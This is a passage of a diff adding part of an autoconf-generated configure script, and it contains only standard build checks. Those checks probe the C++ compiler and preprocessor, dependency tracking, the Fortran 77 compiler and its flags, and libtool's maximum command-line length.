+echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_ac_ct_CXX+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_CXX"; then + ac_cv_prog_ac_ct_CXX="$ac_ct_CXX" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_CXX="$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + +fi +fi +ac_ct_CXX=$ac_cv_prog_ac_ct_CXX +if test -n "$ac_ct_CXX"; then + echo "$as_me:$LINENO: result: $ac_ct_CXX" >&5 +echo "${ECHO_T}$ac_ct_CXX" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + + test -n "$ac_ct_CXX" && break +done +test -n "$ac_ct_CXX" || ac_ct_CXX="g++" + + CXX=$ac_ct_CXX +fi + + +# Provide some information about the compiler. +echo "$as_me:$LINENO:" \ + "checking for C++ compiler version" >&5 +ac_compiler=`set X $ac_compile; echo $2` +{ (eval echo "$as_me:$LINENO: \"$ac_compiler --version </dev/null >&5\"") >&5 + (eval $ac_compiler --version </dev/null >&5) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (eval echo "$as_me:$LINENO: \"$ac_compiler -v </dev/null >&5\"") >&5 + (eval $ac_compiler -v </dev/null >&5) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (eval echo "$as_me:$LINENO: \"$ac_compiler -V </dev/null >&5\"") >&5 + (eval $ac_compiler -V </dev/null >&5) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } + +echo "$as_me:$LINENO: checking whether we are using the GNU C++ compiler" >&5 +echo $ECHO_N "checking whether we are using the GNU C++ compiler... $ECHO_C" >&6 +if test "${ac_cv_cxx_compiler_gnu+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ +#ifndef __GNUC__ + choke me +#endif + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_compiler_gnu=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_compiler_gnu=no +fi +rm -f conftest.err conftest.$ac_objext conftest.$ac_ext +ac_cv_cxx_compiler_gnu=$ac_compiler_gnu + +fi +echo "$as_me:$LINENO: result: $ac_cv_cxx_compiler_gnu" >&5 +echo "${ECHO_T}$ac_cv_cxx_compiler_gnu" >&6 +GXX=`test $ac_compiler_gnu = yes && echo yes` +ac_test_CXXFLAGS=${CXXFLAGS+set} +ac_save_CXXFLAGS=$CXXFLAGS +CXXFLAGS="-g" +echo "$as_me:$LINENO: checking whether $CXX accepts -g" >&5 +echo $ECHO_N "checking whether $CXX accepts -g... $ECHO_C" >&6 +if test "${ac_cv_prog_cxx_g+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_prog_cxx_g=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_prog_cxx_g=no +fi +rm -f conftest.err conftest.$ac_objext conftest.$ac_ext +fi +echo "$as_me:$LINENO: result: $ac_cv_prog_cxx_g" >&5 +echo "${ECHO_T}$ac_cv_prog_cxx_g" >&6 +if test "$ac_test_CXXFLAGS" = set; then + CXXFLAGS=$ac_save_CXXFLAGS +elif test $ac_cv_prog_cxx_g = yes; then + if test "$GXX" = yes; then + CXXFLAGS="-g -O2" + else + CXXFLAGS="-g" + fi +else + if test "$GXX" = yes; then + CXXFLAGS="-O2" + else + CXXFLAGS= + fi +fi +for ac_declaration in \ + '' \ + 'extern "C" void std::exit (int) throw (); using std::exit;' \ + 'extern "C" void std::exit (int); using std::exit;' \ + 'extern "C" void exit (int) throw ();' \ + 'extern "C" void exit (int);' \ + 'void exit (int);' +do + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_declaration +#include <stdlib.h> +int +main () +{ +exit (42); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +continue +fi +rm -f conftest.err conftest.$ac_objext conftest.$ac_ext + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_declaration +int +main () +{ +exit (42); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + break +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +fi +rm -f conftest.err conftest.$ac_objext conftest.$ac_ext +done +rm -f conftest* +if test -n "$ac_declaration"; then + echo '#ifdef __cplusplus' >>confdefs.h + echo $ac_declaration >>confdefs.h + echo '#endif' >>confdefs.h +fi + +ac_ext=cc +ac_cpp='$CXXCPP $CPPFLAGS' +ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_cxx_compiler_gnu + +depcc="$CXX" am_compiler_list= + +echo "$as_me:$LINENO: checking dependency style of $depcc" >&5 +echo $ECHO_N "checking dependency style of $depcc... $ECHO_C" >&6 +if test "${am_cv_CXX_dependencies_compiler_type+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then + # We make a subdir and do the tests there. Otherwise we can end up + # making bogus files that we don't know about and never remove. For + # instance it was reported that on HP-UX the gcc test will end up + # making a dummy file named `D' -- because `-MD' means `put the output + # in D'. + mkdir conftest.dir + # Copy depcomp to subdir because otherwise we won't find it if we're + # using a relative directory. + cp "$am_depcomp" conftest.dir + cd conftest.dir + # We will build objects and dependencies in a subdirectory because + # it helps to detect inapplicable dependency modes. For instance + # both Tru64's cc and ICC support -MD to output dependencies as a + # side effect of compilation, but ICC will put the dependencies in + # the current directory while Tru64 will put them in the object + # directory. + mkdir sub + + am_cv_CXX_dependencies_compiler_type=none + if test "$am_compiler_list" = ""; then + am_compiler_list=`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./depcomp` + fi + for depmode in $am_compiler_list; do + # Setup a source with many dependencies, because some compilers + # like to wrap large dependency lists on column 80 (with \), and + # we should not choose a depcomp mode which is confused by this. + # + # We need to recreate these files for each test, as the compiler may + # overwrite some of them when testing with obscure command lines. + # This happens at least with the AIX C compiler. + : > sub/conftest.c + for i in 1 2 3 4 5 6; do + echo '#include "conftst'$i'.h"' >> sub/conftest.c + # Using `: > sub/conftst$i.h' creates only sub/conftst1.h with + # Solaris 8's {/usr,}/bin/sh. + touch sub/conftst$i.h + done + echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf + + case $depmode in + nosideeffect) + # after this tag, mechanisms are not by side-effect, so they'll + # only be used when explicitly requested + if test "x$enable_dependency_tracking" = xyes; then + continue + else + break + fi + ;; + none) break ;; + esac + # We check with `-c' and `-o' for the sake of the "dashmstdout" + # mode. It turns out that the SunPro C++ compiler does not properly + # handle `-M -o', and we need to detect this. + if depmode=$depmode \ + source=sub/conftest.c object=sub/conftest.${OBJEXT-o} \ + depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \ + $SHELL ./depcomp $depcc -c -o sub/conftest.${OBJEXT-o} sub/conftest.c \ + >/dev/null 2>conftest.err && + grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && + grep sub/conftest.${OBJEXT-o} sub/conftest.Po > /dev/null 2>&1 && + ${MAKE-make} -s -f confmf > /dev/null 2>&1; then + # icc doesn't choke on unknown options, it will just issue warnings + # or remarks (even with -Werror). So we grep stderr for any message + # that says an option was ignored or not supported. + # When given -MP, icc 7.0 and 7.1 complain thusly: + # icc: Command line warning: ignoring option '-M'; no argument required + # The diagnosis changed in icc 8.0: + # icc: Command line remark: option '-MP' not supported + if (grep 'ignoring option' conftest.err || + grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else + am_cv_CXX_dependencies_compiler_type=$depmode + break + fi + fi + done + + cd .. + rm -rf conftest.dir +else + am_cv_CXX_dependencies_compiler_type=none +fi + +fi +echo "$as_me:$LINENO: result: $am_cv_CXX_dependencies_compiler_type" >&5 +echo "${ECHO_T}$am_cv_CXX_dependencies_compiler_type" >&6 +CXXDEPMODE=depmode=$am_cv_CXX_dependencies_compiler_type + + + +if + test "x$enable_dependency_tracking" != xno \ + && test "$am_cv_CXX_dependencies_compiler_type" = gcc3; then + am__fastdepCXX_TRUE= + am__fastdepCXX_FALSE='#' +else + am__fastdepCXX_TRUE='#' + am__fastdepCXX_FALSE= +fi + + +ac_ext=cc +ac_cpp='$CXXCPP $CPPFLAGS' +ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_cxx_compiler_gnu +echo "$as_me:$LINENO: checking how to run the C++ preprocessor" >&5 +echo $ECHO_N "checking how to run the C++ preprocessor... $ECHO_C" >&6 +if test -z "$CXXCPP"; then + if test "${ac_cv_prog_CXXCPP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + # Double quotes because CXXCPP needs to be expanded + for CXXCPP in "$CXX -E" "/lib/cpp" + do + ac_preproc_ok=false +for ac_cxx_preproc_warn_flag in '' yes +do + # Use a header file that comes with gcc, so configuring glibc + # with a fresh cross-compiler works. + # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since + # <limits.h> exists even on freestanding compilers. + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. "Syntax error" is here to catch this case. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#ifdef __STDC__ +# include <limits.h> +#else +# include <assert.h> +#endif + Syntax error +_ACEOF +if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 + (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_cxx_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Broken: fails on valid input. +continue +fi +rm -f conftest.err conftest.$ac_ext + + # OK, works on sane cases. Now check whether non-existent headers + # can be detected and how. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <ac_nonexistent.h> +_ACEOF +if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 + (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_cxx_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + # Broken: success on invalid input. +continue +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Passes both tests. +ac_preproc_ok=: +break +fi +rm -f conftest.err conftest.$ac_ext + +done +# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. +rm -f conftest.err conftest.$ac_ext +if $ac_preproc_ok; then + break +fi + + done + ac_cv_prog_CXXCPP=$CXXCPP + +fi + CXXCPP=$ac_cv_prog_CXXCPP +else + ac_cv_prog_CXXCPP=$CXXCPP +fi +echo "$as_me:$LINENO: result: $CXXCPP" >&5 +echo "${ECHO_T}$CXXCPP" >&6 +ac_preproc_ok=false +for ac_cxx_preproc_warn_flag in '' yes +do + # Use a header file that comes with gcc, so configuring glibc + # with a fresh cross-compiler works. + # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since + # <limits.h> exists even on freestanding compilers. + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. "Syntax error" is here to catch this case. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#ifdef __STDC__ +# include <limits.h> +#else +# include <assert.h> +#endif + Syntax error +_ACEOF +if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 + (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_cxx_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Broken: fails on valid input. +continue +fi +rm -f conftest.err conftest.$ac_ext + + # OK, works on sane cases. Now check whether non-existent headers + # can be detected and how. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <ac_nonexistent.h> +_ACEOF +if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 + (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_cxx_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + # Broken: success on invalid input. +continue +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Passes both tests. +ac_preproc_ok=: +break +fi +rm -f conftest.err conftest.$ac_ext + +done +# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. +rm -f conftest.err conftest.$ac_ext +if $ac_preproc_ok; then + : +else + { { echo "$as_me:$LINENO: error: C++ preprocessor \"$CXXCPP\" fails sanity check +See \`config.log' for more details." >&5 +echo "$as_me: error: C++ preprocessor \"$CXXCPP\" fails sanity check +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } +fi + +ac_ext=cc +ac_cpp='$CXXCPP $CPPFLAGS' +ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_cxx_compiler_gnu + + +ac_ext=f +ac_compile='$F77 -c $FFLAGS conftest.$ac_ext >&5' +ac_link='$F77 -o conftest$ac_exeext $FFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_f77_compiler_gnu +if test -n "$ac_tool_prefix"; then + for ac_prog in g77 f77 xlf frt pgf77 fort77 fl32 af77 f90 xlf90 pgf90 epcf90 f95 fort xlf95 ifc efc pgf95 lf95 gfortran + do + # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. +set dummy $ac_tool_prefix$ac_prog; ac_word=$2 +echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_F77+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$F77"; then + ac_cv_prog_F77="$F77" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_F77="$ac_tool_prefix$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + +fi +fi +F77=$ac_cv_prog_F77 +if test -n "$F77"; then + echo "$as_me:$LINENO: result: $F77" >&5 +echo "${ECHO_T}$F77" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + + test -n "$F77" && break + done +fi +if test -z "$F77"; then + ac_ct_F77=$F77 + for ac_prog in g77 f77 xlf frt pgf77 fort77 fl32 af77 f90 xlf90 pgf90 epcf90 f95 fort xlf95 ifc efc pgf95 lf95 gfortran +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_ac_ct_F77+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_F77"; then + ac_cv_prog_ac_ct_F77="$ac_ct_F77" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_F77="$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + +fi +fi +ac_ct_F77=$ac_cv_prog_ac_ct_F77 +if test -n "$ac_ct_F77"; then + echo "$as_me:$LINENO: result: $ac_ct_F77" >&5 +echo "${ECHO_T}$ac_ct_F77" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + + test -n "$ac_ct_F77" && break +done + + F77=$ac_ct_F77 +fi + + +# Provide some information about the compiler. +echo "$as_me:5378:" \ + "checking for Fortran 77 compiler version" >&5 +ac_compiler=`set X $ac_compile; echo $2` +{ (eval echo "$as_me:$LINENO: \"$ac_compiler --version </dev/null >&5\"") >&5 + (eval $ac_compiler --version </dev/null >&5) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (eval echo "$as_me:$LINENO: \"$ac_compiler -v </dev/null >&5\"") >&5 + (eval $ac_compiler -v </dev/null >&5) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (eval echo "$as_me:$LINENO: \"$ac_compiler -V </dev/null >&5\"") >&5 + (eval $ac_compiler -V </dev/null >&5) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +rm -f a.out + +# If we don't use `.F' as extension, the preprocessor is not run on the +# input file. (Note that this only needs to work for GNU compilers.) +ac_save_ext=$ac_ext +ac_ext=F +echo "$as_me:$LINENO: checking whether we are using the GNU Fortran 77 compiler" >&5 +echo $ECHO_N "checking whether we are using the GNU Fortran 77 compiler... $ECHO_C" >&6 +if test "${ac_cv_f77_compiler_gnu+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF + program main +#ifndef __GNUC__ + choke me +#endif + + end +_ACEOF +rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_f77_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_compiler_gnu=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_compiler_gnu=no +fi +rm -f conftest.err conftest.$ac_objext conftest.$ac_ext +ac_cv_f77_compiler_gnu=$ac_compiler_gnu + +fi +echo "$as_me:$LINENO: result: $ac_cv_f77_compiler_gnu" >&5 +echo "${ECHO_T}$ac_cv_f77_compiler_gnu" >&6 +ac_ext=$ac_save_ext +ac_test_FFLAGS=${FFLAGS+set} +ac_save_FFLAGS=$FFLAGS +FFLAGS= +echo "$as_me:$LINENO: checking whether $F77 accepts -g" >&5 +echo $ECHO_N "checking whether $F77 accepts -g... $ECHO_C" >&6 +if test "${ac_cv_prog_f77_g+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + FFLAGS=-g +cat >conftest.$ac_ext <<_ACEOF + program main + + end +_ACEOF +rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_f77_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_prog_f77_g=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_prog_f77_g=no +fi +rm -f conftest.err conftest.$ac_objext conftest.$ac_ext + +fi +echo "$as_me:$LINENO: result: $ac_cv_prog_f77_g" >&5 +echo "${ECHO_T}$ac_cv_prog_f77_g" >&6 +if test "$ac_test_FFLAGS" = set; then + FFLAGS=$ac_save_FFLAGS +elif test $ac_cv_prog_f77_g = yes; then + if test "x$ac_cv_f77_compiler_gnu" = xyes; then + FFLAGS="-g -O2" + else + FFLAGS="-g" + fi +else + if test "x$ac_cv_f77_compiler_gnu" = xyes; then + FFLAGS="-O2" + else + FFLAGS= + fi +fi + +G77=`test $ac_compiler_gnu = yes && echo yes` +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + + +# Autoconf 2.13's AC_OBJEXT and AC_EXEEXT macros only works for C compilers! + +# find the maximum length of command line arguments +echo "$as_me:$LINENO: checking the maximum length of command line arguments" >&5 +echo $ECHO_N "checking the maximum length of command line arguments... $ECHO_C" >&6 +if test "${lt_cv_sys_max_cmd_len+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + i=0 + teststring="ABCD" + + case $build_os in + msdosdjgpp*) + # On DJGPP, this test can blow up pretty badly due to problems in libc + # (any single argument exceeding 2000 bytes causes a buffer overrun + # during glob expansion). Even if it were fixed, the result of this + # check would be larger than it should be. + lt_cv_sys_max_cmd_len=12288; # 12K is about right + ;; + + gnu*) + # Under GNU Hurd, this test is not required because there is + # no limit to the length of command line arguments. + # Libtool will interpret -1 as no limit whatsoever + lt_cv_sys_max_cmd_len=-1; + ;; + + cygwin* | mingw*) + # On Win9x/ME, this test blows up -- it succeeds, but takes + # about 5 minutes as the teststring grows exponentially. + # Worse, since 9x/ME are not pre-emptively multitasking, + # you end up with a "frozen" computer, even though with patience + # the test eventually succeeds (with a max line length of 256k). + # Instead, let's just punt: use the minimum linelength reported by + # all of the supported platforms: 8192 (on NT/2K/XP). + lt_cv_sys_max_cmd_len=8192; + ;; + + amigaos*) + # On AmigaOS with pdksh, this test takes hours, literally. + # So we just punt and use a minimum line length of 8192. + lt_cv_sys_max_cmd_len=8192; + ;; + + netbsd* | 